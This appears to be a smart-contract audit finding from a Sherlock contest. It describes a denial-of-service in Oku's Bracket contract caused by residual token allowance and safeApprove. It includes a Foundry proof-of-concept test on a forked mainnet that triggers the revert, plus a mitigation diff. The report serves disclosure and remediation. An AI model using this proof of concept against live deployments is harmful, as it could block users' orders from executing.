Skip to content

Latest commit

 

History

History
577 lines (458 loc) · 22.1 KB

079.md

File metadata and controls

577 lines (458 loc) · 22.1 KB

Original Brown Tardigrade

Medium

Bracket::performUpkeep will revert due to residual allowance and the usage of safeApprove

Summary

The Bracket::execute function increases the allowance of the target address, enabling it to transfer amountIn from the Bracket contract during a swap. However, if less than amountIn is used in the swap, the unused allowance remains, leaving the Bracket contract’s allowance toward the target address greater than 0. This results in subsequent calls to the performUpkeep function, using the same target and tokenIn, failing due to the condition in SafeERC20::safeApprove, which enforces that the current allowance must be zero or the new allowance value must be zero:

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/interfaces/openzeppelin/SafeERC20.sol#L49-L52

        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );

Example: Consider a scenario where target represents the SwapRouter02 Uniswap's contract, and tokenIn corresponds to the USDC token contract. If, during a swap, less than amountIn is transferred from the Bracket contract, the remaining USDC allowance toward SwapRouter02 persists and is greater than zero. As a result, subsequent performUpkeep calls that require transferring USDC from the Bracket contract to the SwapRouter02 contract fail due to the non-zero allowance condition.

Root Cause

  • In Bracket.sol:539 the safeApprove function is used instead of safeIncreaseAllowance

  • Allowance is not reset to 0 after the target call. The Bracket contract depends on the target spending all the allowance.

Internal pre-conditions

  1. At least an order that is in range and needs upkeep must exist in the Bracket::pendingOrderIds array.
  2. When performUpkeep is called, performData contains txData and target such that when target is called with txData, target spends less than the approved allowance in [Bracket.sol:539](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L539

External pre-conditions

No response

Attack Path

  1. WETH price is 5000 USDC and user1 holds 5000 USDC and creates a stop limit order with a stopLimitPrice set to 4500 and stopPrice set to 4000

  2. WETH price reaches 4500 and the Stop Limit Order is filled, creating a new Bracket Order.

  3. The WETH price reaches 4000 and the Bracket Order is filled by calling performUpkeep with the performData argument that contains:

txData : payload for the target call such that target spends less than 5000 USDC.

Example: exactOutputSingle function from SwapRouter02 can use less than the approved allowance.

target: a contract that will perform the swap, transferring USDC from the Bracket contract and WETH to the Bracket contract.

Example: SwapRouter02

  1. Since the value of 1 WETH is 4000 USDC, less than the allowance (5000) is spent to perform the swap

  2. Subsequent performUpkeep calls that require an approval of USDC towards the target revert.

This path can be replicated for any token and target pair given that the target spends less than the total token allowance in a swap.

Impact

Once a target performs a swap spending less than the total allowance for a given token, performUpkeep calls involving approvals of token to target will revert. This results in a token-target pair DOS.

PoC

PoC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console} from "../../lib/forge-std/src/Test.sol";
import {IPermit2} from "../../contracts/interfaces/uniswapV3/IPermit2.sol";
import {IV3SwapRouter} from "./interfaces/IV3SwapRouter.sol";
import {ISwapRouter02} from "../../contracts/interfaces/uniswapV3/ISwapRouter02.sol";
import {Bracket} from "../../contracts/automatedTrigger/Bracket.sol";
import {IBracket} from "../../contracts/automatedTrigger/IAutomation.sol";
import {AutomationMaster} from "../../contracts/automatedTrigger/AutomationMaster.sol";
import {IAutomationMaster} from "../../contracts/automatedTrigger/IAutomation.sol";
import {StopLimit} from "../../contracts/automatedTrigger/StopLimit.sol";
import {IWETH} from "./interfaces/IWETH.sol";
import {IERC20} from "../../contracts/interfaces/openzeppelin/IERC20.sol";
import {MockOracleWETH} from "./mock/MockOracleWETH.sol";
import {MockOracleUSDC} from "./mock/MockOracleUSDC.sol";
import {IPythRelay} from "../../contracts/oracle/IPythRelay.sol";

contract BracketTest is Test {
    AutomationMaster automationMaster;
    Bracket bracket;
    StopLimit stopLimit;
    MockOracleWETH mockOracleWETH;
    MockOracleUSDC mockOracleUSDC;
    address permit2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
    address swapRouter02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address USDCWhale = 0x4B16c5dE96EB2117bBE5fd171E4d203624B014aa;
    address nonfungiblePositionManager =
        0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
    address pool = 0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8;
    address user2 = makeAddr("user2");

    struct MasterUpkeepData {
        OrderType orderType;
        address target;
        IERC20 tokenIn;
        IERC20 tokenOut;
        uint96 orderId;
        uint96 pendingOrderIdx;
        uint16 slippage;
        uint256 amountIn;
        uint256 exchangeRate;
        bytes txData;
    }

    enum OrderType {
        STOP_LIMIT,
        BRACKET
    }

    function setUp() public {
        // ankr eth mainnet
        vm.createSelectFork("https://rpc.ankr.com/eth", 21345433);

        // Deploy contracts
        automationMaster = new AutomationMaster();
        bracket = new Bracket(automationMaster, IPermit2(permit2));
        stopLimit = new StopLimit(
            IAutomationMaster(automationMaster),
            IBracket(bracket),
            IPermit2(permit2)
        );
        mockOracleWETH = new MockOracleWETH();
        mockOracleUSDC = new MockOracleUSDC();

        // Register Oracles
        IERC20[] memory tokens = new IERC20[](2);
        IPythRelay[] memory oracles = new IPythRelay[](2);
        tokens[0] = IERC20(WETH);
        tokens[1] = IERC20(USDC);
        oracles[0] = IPythRelay(address(mockOracleWETH));
        oracles[1] = IPythRelay(address(mockOracleUSDC));

        automationMaster.registerOracle(tokens, oracles);

        // Set prices
        mockOracleWETH.updatePrice(5000 * 1e8);

        // register Stop Limit and Bracket order contracts
        automationMaster.registerSubKeepers(stopLimit, bracket);

        // set max pending orders
        automationMaster.setMaxPendingOrders(10);

        // mint USDC
        vm.startPrank(USDCWhale);
        IERC20(USDC).transfer(address(this), 5000 * 1e6);
        IERC20(USDC).transfer(user2, 5000 * 1e6);
        vm.stopPrank();

        IERC20(USDC).approve(address(stopLimit), 5000 * 1e6);
        vm.prank(user2);
        IERC20(USDC).approve(address(stopLimit), 5000 * 1e6);
    }

    function testCreateOrder() public {
        // user1 (address(this)) creates a stop limit order
        stopLimit.createOrder({
            stopLimitPrice: 22222, // exchange rate when 1 WETH = 4500 USDC
            takeProfit: 0,
            stopPrice: 24612, // exchange rate when 1 WETH ≈ 4063 USDC
            amountIn: 5000 * 1e6,
            tokenIn: IERC20(USDC),
            tokenOut: IERC20(WETH),
            recipient: address(this),
            feeBips: 0,
            takeProfitSlippage: 0,
            stopSlippage: 10000,
            swapSlippage: 0,
            swapOnFill: false,
            permit: false,
            permitPayload: bytes("")
        });

        (bool upkeepNeeded, bytes memory performData) = stopLimit.checkUpkeep(
            bytes("")
        );
        assertEq(upkeepNeeded, false);

        // price is updated, exchange rate goes up to 22222
        mockOracleWETH.updatePrice(4500 * 1e8);

        (upkeepNeeded, performData) = stopLimit.checkUpkeep(bytes(""));
        assertEq(upkeepNeeded, true);

        // perform upkeep on user1's order
        stopLimit.performUpkeep(performData);

        (upkeepNeeded, performData) = bracket.checkUpkeep(bytes(""));
        assertEq(upkeepNeeded, false);

        // price is updated, exchange rate goes up to 24612
        mockOracleWETH.updatePrice(4063 * 1e8);

        (upkeepNeeded, performData) = bracket.checkUpkeep(bytes(""));
        assertEq(upkeepNeeded, true);

        bytes memory txData = abi.encodeWithSignature(
            "exactOutputSingle((address,address,uint24,address,uint256,uint256,uint160))",
            IV3SwapRouter.ExactOutputSingleParams({
                tokenIn: USDC,
                tokenOut: WETH,
                fee: 3000,
                recipient: address(bracket),
                amountOut: 1 ether,
                amountInMaximum: 5000 * 1e6,
                sqrtPriceLimitX96: 0
            })
        );

        // decode performData
        MasterUpkeepData memory masterUpkeepData = abi.decode(
            performData,
            (MasterUpkeepData)
        );

        masterUpkeepData.txData = txData;
        masterUpkeepData.target = address(swapRouter02);

        performData = abi.encode(masterUpkeepData);

        bracket.performUpkeep(performData);

        // now the Bracket contract has a remaining allowance of USDC
        uint256 allowanceRemaining = IERC20(USDC).allowance(
            address(bracket),
            address(swapRouter02)
        );
        assertGt(allowanceRemaining, 0);

        // +------------------------------------+
        // |             Target DOS             |
        // +------------------------------------+

        mockOracleWETH.updatePrice(5000 * 1e8);

        // user2 creates a similar stop limit order, he wants to use 5000 USDC to buy WETH
        vm.prank(user2);
        stopLimit.createOrder({
            stopLimitPrice: 22222, // exchange rate when 1 WETH = 4500 USDC
            takeProfit: 0,
            stopPrice: 24612, // exchange rate when 1 WETH ≈ 4063 USDC
            amountIn: 5000 * 1e6,
            tokenIn: IERC20(USDC),
            tokenOut: IERC20(WETH),
            recipient: user2,
            feeBips: 0,
            takeProfitSlippage: 0,
            stopSlippage: 10000,
            swapSlippage: 0,
            swapOnFill: false,
            permit: false,
            permitPayload: bytes("")
        });

        mockOracleWETH.updatePrice(4500 * 1e8);

        (upkeepNeeded, performData) = stopLimit.checkUpkeep(bytes(""));
        assertEq(upkeepNeeded, true);

        stopLimit.performUpkeep(performData);

        mockOracleWETH.updatePrice(4063 * 1e8);

        (upkeepNeeded, performData) = bracket.checkUpkeep(bytes(""));
        assertEq(upkeepNeeded, true);

        // perform upkeep on user2's order
        txData = abi.encodeWithSignature(
            "exactInputSingle((address,address,uint24,address,uint256,uint256,uint160))",
            ISwapRouter02.ExactInputSingleParams({
                tokenIn: USDC,
                tokenOut: WETH,
                fee: 3000,
                recipient: address(bracket),
                amountIn: 5000 * 1e6,
                amountOutMinimum: 1 ether,
                sqrtPriceLimitX96: 0
            })
        );

        masterUpkeepData = abi.decode(performData, (MasterUpkeepData));

        masterUpkeepData.txData = txData;
        masterUpkeepData.target = address(swapRouter02);

        performData = abi.encode(masterUpkeepData);

        vm.expectRevert(
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        bracket.performUpkeep(performData);
    }
}

Required contracts:

Steps to reproduce:

  1. npm i --save-dev @nomicfoundation/hardhat-foundry - Install the hardhat-foundry plugin.
  2. Add require("@nomicfoundation/hardhat-foundry"); to the top of the hardhat.config.js file.
  3. Run npx hardhat init-foundry in the terminal.
  4. In oku-custom-order-types/test create a folder named "foundry"
  5. In oku-custom-order-types/test/foundry create two folders: "interfaces" and "mock"
  6. Create a "BracketTest.t.sol" file in oku-custom-order-types/test/foundry and paste the provided PoC.
  7. Copy and paste the following contracts with the corresponding paths and names
  8. Run forge test --mt testCreateOrder in the terminal

/oku-custom-order-types/test/foundry/interfaces/IUniswapV3SwapCallback.sol

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;

/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
    /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
    /// @dev In the implementation you must pay the pool tokens owed for the swap.
    /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
    /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
    /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
    /// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
    /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
    /// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
    /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
    function uniswapV3SwapCallback(
        int256 amount0Delta,
        int256 amount1Delta,
        bytes calldata data
    ) external;
}

/oku-custom-order-types/test/foundry/interfaces/IV3SwapRouter.sol

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;

import './IUniswapV3SwapCallback.sol';

/// @title Router token swapping functionality
/// @notice Functions for swapping tokens via Uniswap V3
interface IV3SwapRouter is IUniswapV3SwapCallback {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    /// @notice Swaps `amountIn` of one token for as much as possible of another token
    /// @dev Setting `amountIn` to 0 will cause the contract to look up its own balance,
    /// and swap the entire amount, enabling contracts to send tokens before calling this function.
    /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
    /// @return amountOut The amount of the received token
    function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);

    struct ExactInputParams {
        bytes path;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
    }

    /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
    /// @dev Setting `amountIn` to 0 will cause the contract to look up its own balance,
    /// and swap the entire amount, enabling contracts to send tokens before calling this function.
    /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
    /// @return amountOut The amount of the received token
    function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);

    struct ExactOutputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountOut;
        uint256 amountInMaximum;
        uint160 sqrtPriceLimitX96;
    }

    /// @notice Swaps as little as possible of one token for `amountOut` of another token
    /// that may remain in the router after the swap.
    /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
    /// @return amountIn The amount of the input token
    function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);

    struct ExactOutputParams {
        bytes path;
        address recipient;
        uint256 amountOut;
        uint256 amountInMaximum;
    }

    /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
    /// that may remain in the router after the swap.
    /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
    /// @return amountIn The amount of the input token
    function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);
}

/oku-custom-order-types/test/foundry/interfaces/IWETH.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

interface IWETH {
    event Approval(address indexed src, address indexed guy, uint256 wad);
    event Deposit(address indexed dst, uint256 wad);
    event Transfer(address indexed src, address indexed dst, uint256 wad);
    event Withdrawal(address indexed src, uint256 wad);

    fallback() external payable;

    function allowance(address, address) external view returns (uint256);
    function approve(address guy, uint256 wad) external returns (bool);
    function balanceOf(address) external view returns (uint256);
    function decimals() external view returns (uint8);
    function deposit() external payable;
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function transfer(address dst, uint256 wad) external returns (bool);
    function transferFrom(address src, address dst, uint256 wad) external returns (bool);
    function withdraw(uint256 wad) external;
}

/oku-custom-order-types/test/foundry/mock/MockOracleWETH.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../../../contracts/interfaces/openzeppelin/IERC20.sol";

contract MockOracleWETH {
    uint256 price;

    function currentValue() external view returns (uint256) {
        return price;
    }

    function updatePrice(uint256 _price) external {
        price = _price;
    }
}

/oku-custom-order-types/test/foundry/mock/MockOracleUSDC.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../../../contracts/interfaces/openzeppelin/IERC20.sol";

contract MockOracleUSDC {
    function currentValue() external pure returns (uint256) {
        return 1e8;
    }

}

Mitigation

Consider using safeIncreaseAllowance instead of safeApprove and resetting the approval to zero after the target call:

@@ -526,31 +526,38 @@ contract Bracket is Ownable, IBracket, ReentrancyGuard {
     function execute(
         address target,
         bytes memory txData,
         uint256 amountIn,
         IERC20 tokenIn,
         IERC20 tokenOut,
         uint16 bips
     ) internal returns (uint256 swapAmountOut, uint256 tokenInRefund) {
         //update accounting
         uint256 initialTokenIn = tokenIn.balanceOf(address(this));
         uint256 initialTokenOut = tokenOut.balanceOf(address(this));

         //approve
-        tokenIn.safeApprove(target, amountIn);
+        tokenIn.safeIncreaseAllowance(target, amountIn);

         //perform the call
         (bool success, bytes memory result) = target.call(txData);

+        // reset allowance
+        uint256 allowance = tokenIn.allowance(address(this), target);
+
+        if (allowance != 0) {
+            tokenIn.safeDecreaseAllowance(target, allowance);
+        }
+
         if (success) {
             uint256 finalTokenIn = tokenIn.balanceOf(address(this));
             require(finalTokenIn >= initialTokenIn - amountIn, "over spend");
             uint256 finalTokenOut = tokenOut.balanceOf(address(this));

             //if success, we expect tokenIn balance to decrease by amountIn
             //and tokenOut balance to increase by at least minAmountReceived
             require(
                 finalTokenOut - initialTokenOut >
                     MASTER.getMinAmountReceived(
                         amountIn,
                         tokenIn,
                         tokenOut,

Also, apply the mitigation to OracleLess::execute

@@ -224,35 +224,41 @@ contract OracleLess is IOracleLess, Ownable, ReentrancyGuard {
         orders[orderId] = newOrder;
     }

     function execute(
         address target,
         bytes calldata txData,
         Order memory order
     ) internal returns (uint256 amountOut, uint256 tokenInRefund) {
         //update accounting
         uint256 initialTokenIn = order.tokenIn.balanceOf(address(this));
         uint256 initialTokenOut = order.tokenOut.balanceOf(address(this));

         //approve
-        order.tokenIn.safeApprove(target, order.amountIn);
+        order.tokenIn.safeIncreaseAllowance(target, order.amountIn);

         //perform the call
         (bool success, bytes memory reason) = target.call(txData);

         if (!success) {
             revert TransactionFailed(reason);
         }

+        uint256 allowance = order.tokenIn.allowance(address(this), target);
+
+        if (allowance != 0) {
+            order.tokenIn.safeDecreaseAllowance(target, allowance);
+        }
+
         uint256 finalTokenIn = order.tokenIn.balanceOf(address(this));
         require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend");
         uint256 finalTokenOut = order.tokenOut.balanceOf(address(this));

         require(
             finalTokenOut - initialTokenOut > order.minAmountOut,
             "Too Little Received"
         );

         amountOut = finalTokenOut - initialTokenOut;
         tokenInRefund = order.amountIn - (initialTokenIn - finalTokenIn);
     }